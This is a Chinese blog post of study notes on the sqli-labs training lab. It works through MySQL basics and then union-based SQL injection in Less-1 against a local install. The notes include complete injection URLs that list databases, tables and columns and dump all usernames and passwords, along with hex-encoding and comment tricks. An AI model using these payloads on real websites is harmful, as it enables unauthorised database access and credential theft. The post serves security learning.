sqli-labs

sqli-labs

less1-10:https://www.bilibili.com/video/BV1e441127Rd

已经安装完了,P1-P2就没看。

P3-mysql基本用法

phpStudy打开mysql命令行:

GIF 2022-07-22 10-47-36

mysql默认密码:root

登录后的欢迎界面:

Enter password: ****
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 47
Server version: 5.5.53 MySQL Community Server (GPL)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> 

查库:(第一行是用到的语句,第三行开始是执行语句后命令行输出结果。下文相同。)

select schema_name from information_schema.schemata;

mysql> select schema_name from information_schema.schemata;
+--------------------+
| schema_name        |
+--------------------+
| information_schema |
| challenges         |
| dvwa               |
| mysql              |
| performance_schema |
| security           |
| test               |
+--------------------+
7 rows in set (0.00 sec)

查表:

select table_name from information_schema.tables where table_schema='security';

mysql> select table_name from information_schema.tables where table_schema='secu
rity';
+------------+
| table_name |
+------------+
| emails     |
| referers   |
| uagents    |
| users      |
+------------+
4 rows in set (0.00 sec)

查列:

select column_name from information_schema.columns where table_name='users';

mysql> select column_name from information_schema.columns where table_name='user
s';
+--------------+
| column_name  |
+--------------+
| user_id      |
| first_name   |
| last_name    |
| user         |
| password     |
| avatar       |
| last_login   |
| failed_login |
| id           |
| username     |
| password     |
+--------------+
11 rows in set (0.00 sec)

查字段:

select id,username,password from security.users;

mysql> select id,username,password from security.users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+
13 rows in set (0.00 sec)

显示数据库中的所有库:

show databases;

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| challenges         |
| dvwa               |
| mysql              |
| performance_schema |
| security           |
| test               |
+--------------------+
7 rows in set (0.00 sec)

进入数据库中的某个库(security),并查看这个库的所有表名:

use security;
show tables;

mysql> use security;
Database changed
mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails             |
| referers           |
| uagents            |
| users              |
+--------------------+
4 rows in set (0.00 sec)

查看某个表的所有字段:

mysql> select * from users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+
13 rows in set (0.00 sec)

P4-less01补充基础知识

修改源码以打印实际执行的sql语句

打开sqli-labs-master->Less-1->index.php,在29行后加入两行echo语句,分别在网页页面打印后台执行的sql语句内容和一个换行。

image-20220722172218429

在sql命令行中摸索出LIMIT语句参数的意思

这是原页面:localhost可换成127.0.0.1

image-20220722172948823

根据提示在网页后缀加上 ?id=1,重新载入网页,发现页面会显示出后台实际执行的sql语句和相应的结果:

image-20220722172738535

后台执行的sql语句: SELECT * FROM users WHERE id='1' LIMIT 0,1

我们来看看如何利用mysql命令行猜出LIMIT后面0,1两个参数的意思:

事实上你也可以直接搜索“mysql LIMIT”得到答案:

MySQL LIMIT子句 - MySQL教程 (yiibai.com)

image-20220722183318843

这是users表的全部内容:

image-20220722181650661

删除查询特定id部分 Where id='1',查询结果不变。

mysql> SELECT * FROM users WHERE id='1' LIMIT 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> SELECT * FROM users LIMIT 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

修改 LIMIT 后的第一个参数为0,1,2,观察结果可得到第一个参数表示查询内容从表中的第几项开始,0表示第一项。

mysql> SELECT * FROM users LIMIT 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> SELECT * FROM users LIMIT 1,1;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  2 | Angelina | I-kill-you |
+----+----------+------------+
1 row in set (0.00 sec)

mysql> SELECT * FROM users LIMIT 2,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  3 | Dummy    | p@ssword |
+----+----------+----------+
1 row in set (0.00 sec)

修改 LIMIT 后的第二个参数为0,2,3,观察结果可得到第二个参数表示向后查询几项的内容,0为空。

mysql> SELECT * FROM users LIMIT 2,2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  3 | Dummy    | p@ssword |
|  4 | secure   | crappy   |
+----+----------+----------+
2 rows in set (0.00 sec)

mysql> SELECT * FROM users LIMIT 2,3;
+----+----------+-----------+
| id | username | password  |
+----+----------+-----------+
|  3 | Dummy    | p@ssword  |
|  4 | secure   | crappy    |
|  5 | stupid   | stupidity |
+----+----------+-----------+
3 rows in set (0.00 sec)

mysql> SELECT * FROM users LIMIT 2,0;
Empty set (0.00 sec)

可以把 id=1 改成0,2,3,4等数字试试,会得到不同的账号和密码,这与 users 数据库中存储的 id, username, password 信息一致。(若页面不打印任何账号信息相关内容,表示此 id 无对应账号、密码。如下图所示:)

image-20220722173451106

Less-1的名字提示我们用单引号,将网址末尾加一个单引号,改成 id=1'得到下图结果:

image-20220722173749785

加入的单引号使得sql语句产生了语法错误,我们通过加注释 --+的方式消除这个语法错误。

image-20220722184536313

此时执行的sql语句为:SELECT * FROM users WHERE id='1'-- ' LIMIT 0,1,中间的 -- (--空格)将后面的 ' LIMIT 0,1 注释掉了,实际相当于执行 SELECT * FROM users WHERE id='1',也就消除了语法错误。

sql语句中的注释符: --+-- (--空格),#

在单引号后面加上and 1=1--+,由于前(SELECT * FROM users WHERE id='1')后(1=1-- ' LIMIT 0,1,相当于 1=1 )语句都正确,能够打印用户名和密码。

image-20220722190232130

在单引号后面加上 and 1=2--+,前对后错,and 连接,总体效果为错,不打印用户名和密码信息。

image-20220722185847608

and 改成 or,前对后错,总体效果为对,会打印用户名和密码。

image-20220722190647710

P5-less01-上

退出mysql、重新登录mysql

加入单引号和注释符将后面的语句注释:

mysql> SELECT * FROM users WHERE id='1'--+and 1=2 ' LIMIT 0,1;;
    '> ;
    '>
    '> ;;;
    '> +
    '> ;
    '> Ctrl-C -- exit!
Bye

C:\phpStudy\PHPTutorial\MySQL\bin>

--+后面所有的语句均被注释掉,所以mysql命令行在一直读取用户输入,却无法执行整个的语句,因为语句结束标志;会被前面的--+注释掉,读取不到;,命令行认为你一直在输入阶段。此时只好按Ctrl+C退出mysql。

输入mysql -u root -p(注意此处的工作路径。)重新登录mysql,输入默认密码root:

C:\phpStudy\PHPTutorial\MySQL\bin>mysql -u root -p
Enter password: ****
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 76
Server version: 5.5.53 MySQL Community Server (GPL)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

其中-u参数后面接用户名,-p参数后面接密码,为了让他人不能通过查看命令行输入的历史命令的方式知道密码,故此处-p后面没有接密码,而是在下一行输入密码。

order by爆列数

order by语句:以表的第几列做排序。默认以第一列的数据进行排序。

image-20220722201513735 image-20220722201521903

by 后面的数字代表以第列数据进行排序。

image-20220722201911659

数字超出范围会报错:

mysql> select * from users order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'
mysql> select * from users order by 0;
ERROR 1054 (42S22): Unknown column '0' in 'order clause'

在原网页使用 二分法 确定总的列数为3。(输入order by 10\5\ 报错不存在,3存在,4不存在。)配图是5的时候不存在。

image-20220722203806097

union联合查询

GIF 2022-07-22 20-52-59

将id从1改成0,即可将输入语句中的select 2,3显示在网页上。

让我们看看联合查询union语句的作用:

mysql> select * from users limit 1,1 union select 1,2,3;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  2 | Angelina | I-kill-you |
|  1 | 2        | 3          |
+----+----------+------------+
2 rows in set (0.00 sec)

mysql> select * from users where id='1' union select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
|  1 | 2        | 3        |
+----+----------+----------+
2 rows in set (0.00 sec)

mysql> select * from users where id='0' union select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | 3        |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id='0' union select -1,22,333;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| -1 | 22       | 333      |
+----+----------+----------+
1 row in set (0.03 sec)

mysql> select * from users where id='0' union select 1,2,3,4;
ERROR 1222 (21000): The used SELECT statements have a different number of columns

看来union语句就是把两个查询语句的结果拼在一起,其中这两个查询语句的列数必须相同。如果没有读取到正确的表头,就会以 select 后输入的东西作为表头。

mysql> select -1,22,333;
+----+----+-----+
| -1 | 22 | 333 |
+----+----+-----+
| -1 | 22 | 333 |
+----+----+-----+
1 row in set (0.00 sec)

mysql> select -1,22,333 from users;
+----+----+-----+
| -1 | 22 | 333 |
+----+----+-----+
| -1 | 22 | 333 |
| -1 | 22 | 333 |
| -1 | 22 | 333 |
| -1 | 22 | 333 |
| -1 | 22 | 333 |
| -1 | 22 | 333 |
| -1 | 22 | 333 |
| -1 | 22 | 333 |
| -1 | 22 | 333 |
| -1 | 22 | 333 |
| -1 | 22 | 333 |
| -1 | 22 | 333 |
| -1 | 22 | 333 |
+----+----+-----+
13 rows in set (0.00 sec)

且打印出来的表头和语句顺序有关。

mysql> select 1,2,3 from users union select * from users;
+----+----------+------------+
| 1  | 2        | 3          |
+----+----------+------------+
|  1 | 2        | 3          |
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+
14 rows in set (0.00 sec)

mysql> select * from users union select 1,2,3 from users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
|  1 | 2        | 3          |
+----+----------+------------+
14 rows in set (0.00 sec)

P6-less01-下

其他的一些查询语句

#开头的是注释。

# 系统用户
mysql> select system_user();
+----------------+
| system_user()  |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
# 当前mysql登录用户
mysql> select user();
+----------------+
| user()         |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
# 当前所在的数据库
mysql> select database();
+------------+
| database() |
+------------+
| security   |
+------------+
1 row in set (0.00 sec)
# mysql版本
mysql> select version();
+-----------+
| version() |
+-----------+
| 5.5.53    |
+-----------+
1 row in set (0.03 sec)
# mysql安装目录的数据存储路径,在此目录下存放数据库的数据文件
mysql> select @@datadir;
+-------------------------------------+
| @@datadir                           |
+-------------------------------------+
| C:\phpStudy\PHPTutorial\MySQL\data\ |
+-------------------------------------+
1 row in set (0.00 sec)
# 操作系统和位数
mysql> select @@version_compile_os;
+----------------------+
| @@version_compile_os |
+----------------------+
| Win32                |
+----------------------+
1 row in set (0.00 sec)

下面我们开始爆破。

schema_name的爆破

第一个schema_name

通过union联合查询,我们知道了当注入

select 1,2,3 from information_schema.schemata limit 0,1

时,屏幕会在Your Login nameYour Password分别显示23。这说明我们可以通过修改注入语句的形式使得网页在Your Login nameYour Password处打印出我们想要的信息。

网址:
http://localhost/bachang/sqli-labs-master/Less-1/?id=0%27 union select 1,2,3 from information_schema.schemata limit 0,1--+
# 其中在HackBar的`Load URL`功能下,原网址中的单引号被转化为`%27`,即百分号加其ASCII码值,另一个常见的是空格` `,它会被转化为`%20`。

屏幕输出:
Your Login name:2
Your Password:3

3改成schema_name即可在Your Password处打印出第一个schema_name

网址:
http://localhost/bachang/sqli-labs-master/Less-1/?id=0%27 union select 1,2,schema_name from information_schema.schemata limit 0,1--+

屏幕输出:
Your Login name:2
Your Password:information_schema

通过注入select 1,2,schema_name from information_schema.schemata limit 0,1

我们得到了第一个schema_name为information_schema

image-20220722234641096

第二个schema_name

将原语句 limit 后的第一个参数从0改成1,输出结果就会由 information_schema 变成 challenges。这和数据库中的顺序是对应的:

image-20220722235417779 image-20220722234517706

group_concat()函数

显然我们可以用修改limit后面参数的方法多弄几次得到所有的schema_name,但是这样有点复杂了。

为了能用一行语句打印出所有的schema_name,我们先学下这个函数,后面要用到。

摘自:MySQL group_concat()函数 - MySQL教程 (yiibai.com)

MySQL GROUP_CONCAT示例

让我们来看看示例数据库(yiibaidb)中的customers表,其表结构如下所示 -

mysql> desc customers;
+------------------------+---------------+------+-----+---------+-------+
| Field                  | Type          | Null | Key | Default | Extra |
+------------------------+---------------+------+-----+---------+-------+
| customerNumber         | int(11)       | NO   | PRI | NULL    |       |
| customerName           | varchar(50)   | NO   |     | NULL    |       |
| contactLastName        | varchar(50)   | NO   |     | NULL    |       |
| contactFirstName       | varchar(50)   | NO   |     | NULL    |       |
| phone                  | varchar(50)   | NO   |     | NULL    |       |
| addressLine1           | varchar(50)   | NO   |     | NULL    |       |
| addressLine2           | varchar(50)   | YES  |     | NULL    |       |
| city                   | varchar(50)   | NO   |     | NULL    |       |
| state                  | varchar(50)   | YES  |     | NULL    |       |
| postalCode             | varchar(15)   | YES  |     | NULL    |       |
| country                | varchar(50)   | NO   |     | NULL    |       |
| salesRepEmployeeNumber | int(11)       | YES  | MUL | NULL    |       |
| creditLimit            | decimal(10,2) | YES  |     | NULL    |       |
+------------------------+---------------+------+-----+---------+-------+
13 rows in set
SQL

要获取客户所在的国家/地区,以逗号分隔的字符串,您可以使用GROUP_CONCAT函数,如下所示:

SELECT 
    GROUP_CONCAT(country)
FROM
    customers;
SQL

执行上面查询语句,得到以下结果

img

更多参数设置:

参考以下图解 -

img

DISTINCT子句用于在连接分组之前消除组中的重复值。

ORDER BY子句允许您在连接之前按升序或降序排序值。 **默认情况下,它按升序排序值。 **如果要按降序对值进行排序,则需要明确指定DESC选项。

SEPARATOR指定在组中的值之间插入的文字值。如果不指定分隔符,则GROUP_CONCAT函数 **使用逗号()作为默认分隔符。 **

GROUP_CONCAT函数忽略NULL值,如果找不到匹配的行,或者所有参数都为NULL值,则返回NULL

GROUP_CONCAT函数返回二进制或非二进制字符串,这取决于参数。 默认情况下,返回字符串的最大长度为1024。如果您需要更多的长度,可以通过在SESSIONGLOBAL级别设置group_concat_max_len系统变量来扩展最大长度。

教程里 SELECT GROUP_CONCAT(country) FROM customers; 语句,会将customers表中所有country列中的内容以 , 为分隔符打印出来。类似的,我们用此语句就可以把所有的schema_name用一条语句打印出来。

得到所有schema_name

网址:
http://localhost/bachang/sqli-labs-master/Less-1/?id=0%27%20union select 1,2,group_concat(schema_name) from information_schema.schemata --+
# 其中在HackBar的`Load URL`功能下,原网址中的单引号被转化为`%27`,即百分号加其ASCII码值,另一个常见的是空格` `,它会被转化为`%20`。

输出:
Your Login name:2
Your Password:information_schema,challenges,dvwa,mysql,performance_schema,security,test

利用select 1,2,group_concat(schema_name) from information_schema.schemata,我们可以得到所有的schema_name:

information_schema,challenges,dvwa,mysql,performance_schema,security,test

sqli-labs的数据库为 security,接下来对其实施爆破。

image-20220722235556958

security数据库的爆破

网址:
http://localhost/bachang/sqli-labs-master/Less-1/?id=0%27%20union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
# 或者将'security'用十六进制串代替:
http://localhost/bachang/sqli-labs-master/Less-1/?id=0%27%20union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+

输出:
Your Login name:2
Your Password:emails,referers,uagents,users

最好将单引号字符串 'security' 用转换成十六进制形式,这样可以避免注入语句中单引号的使用。转换方法是用 HackBarEncoding 选项卡的 Hex Encode 功能,演示见下面的gif:

GIF 2022-07-22 22-57-18

得到所有表名

通过注入 select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' ,我们找到了security数据库中的所有表名。

得到 security 数据库的所有表名 emails,referers,uagents,users 后,我们想要的是用户账户的相关信息,如用户名、密码等,所以接下来对 users表实施爆破。

users表的爆破

网址:
http://localhost/bachang/sqli-labs-master/Less-1/?id=0%27%20union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

输出:
Your Login name:2
Your Password:user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password
image-20220722233353589

这里也最好使用十六进制表示表名。

image-20220722233951169

得到所有表头

通过注入select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' ,我们得到了users表的所有表头:

user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password

我们关心的是用户名和密码,即 username, password

用户名、密码的爆破

第一个用户的密码

网址:
http://localhost/bachang/sqli-labs-master/Less-1/?id=0%27%20union select 1,2,password from security.users limit 0,1--+

输出:
Your Login name:2
Your Password:Dumb

注入select 1,2,password from security.users limit 0,1,我们得到了第一个用户的密码。

image-20220722232950430

所有用户的密码

网址:
http://localhost/bachang/sqli-labs-master/Less-1/?id=0%27%20union select 1,2,group_concat(password) from security.users --+

输出:
Your Login name:2
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

改用group_concat() ,注入 select 1,2,group_concat(password) from security.users 后,我们得到了所有用户的密码。图就不放了。

concat_ws()函数

如果我想用一行语句同时打印用户名和对应的密码该怎么办?这时就需要用到concat_ws()函数了,我们来学一学。

摘自:MySQL concat()函数 - MySQL教程 (yiibai.com)

MySQL CONCAT_WS函数:使用分隔符连接字符串

MySQL提供了一种特殊形式的CONCAT()函数:CONCAT_WS()函数。CONCAT_WS()函数将两个或多个字符串值与预定义的分隔符相连接。

下面说明了CONCAT_WS()函数的语法:

CONCAT_WS(seperator,string1,string2, ... );
SQL

第一个参数是其他参数:string1string2...的分隔符。

CONCAT_WS函数在字符串参数之间添加分隔符,并返回单个字符串,并在字符串参数之间插入分隔符。

以下语句连接两个字符串值:MaxSu,并用逗号分隔这两个字符串:

SELECT CONCAT_WS(',','Max','Su');
SQL

执行上面查询语句,得到以下结果 -

mysql> SELECT CONCAT_WS(',','Max','Su');
+---------------------------+
| CONCAT_WS(',','Max','Su') |
+---------------------------+
| Max,Su                    |
+---------------------------+
1 row in set

同时显示用户名和对应的密码

网址:
http://localhost/bachang/sqli-labs-master/Less-1/?id=0%27%20union select 1,2,concat_ws('~',username,password) from security.users --+

输出:
Your Login name:2
Your Password:Dumb~Dumb

注入select 1,2,concat_ws('~',username,password) from security.users,我们将第一个用户的用户名和密码用~连接起来作为一整个字符串打印在Your Password处。此注入语句作用和select 1,2,concat_ws('~',username,password) from security.users limit 0,1相同。

可是这里只会显示第一个用户的用户名和密码,如果要得到第二个第二个用户的用户名和密码,需要将注入语句改成select 1,2,concat_ws('~',username,password) from security.users limit 1,1(改动limit后第一个参数),而且无法修改limit后第二个参数以一次打印多个用户的信息。

image-20220722232812251

得到所有用户名和密码

要想一次打印所有用户的用户名和密码,只要在 concat_ws() 外面再套一层 group_concat() 即可。

网址:
http://localhost/bachang/sqli-labs-master/Less-1/?id=0%27%20union select 1,2,group_concat(concat_ws('~',username,password)) from security.users --+
# 把'~'用十六进制的0x7e表示更好:
http://localhost/bachang/sqli-labs-master/Less-1/?id=0%27%20union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

输出:
Your Login name:2
Your Password:Dumb~Dumb,Angelina~I-kill-you,Dummy~p@ssword,secure~crappy,stupid~stupidity,superman~genious,batman~mob!le,admin~admin,admin1~admin1,admin2~admin2,admin3~admin3,dhakkan~dumbo,admin4~admin4

注入select 1,2,group_concat(concat_ws('~',username,password)) from security.users,得到所有的用户名和密码。

image-20220722232326335

到此,less-01结束。

总结

less-01还是很简单的,主要是学习一些基本的sql查询语句,以这些查询语句在网页中打印出我们想要的信息。

用到的一些sql查询语句:

语句 作用 结果
select 1,2,schema_name from information_schema.schemata limit 0,1 得到第一个schema_name information_schema
select 1,2,group_concat(schema_name) from information_schema.schemata 查库(excel文件) 得到数据库名security
select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' 查表(sheet) 得到表名users
select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' 查列(column) 得到列名username,password
select 1,2,concat_ws('~',username,password) from security.users 查字段(data) 一次得到用户名和密码
select 1,2,group_concat(concat_ws('~',username,password)) from security.users 查字段(data) 所有用户名和密码

两个函数:

group_concat():将组中的字符串连接成为单个字符串。可以添加选项来消除重复,设置升降序排序,设置分隔符。用于打印出一个列中的所有数据。

concat_ws():CONCAT With Separator 。CONCAT_WS(seperator,string1,string2, ... ); 将string1\2...以seperator为分隔符连接成单个字符串。用于将多个列中的数据拼接起来打印。

group_concat(concat_ws('~',username,password)):将所有用户的username,password分别以~连接后一起打印出来。

posted @ 2022-07-23 00:35  Matrix_250  阅读(47)  评论(0编辑  收藏  举报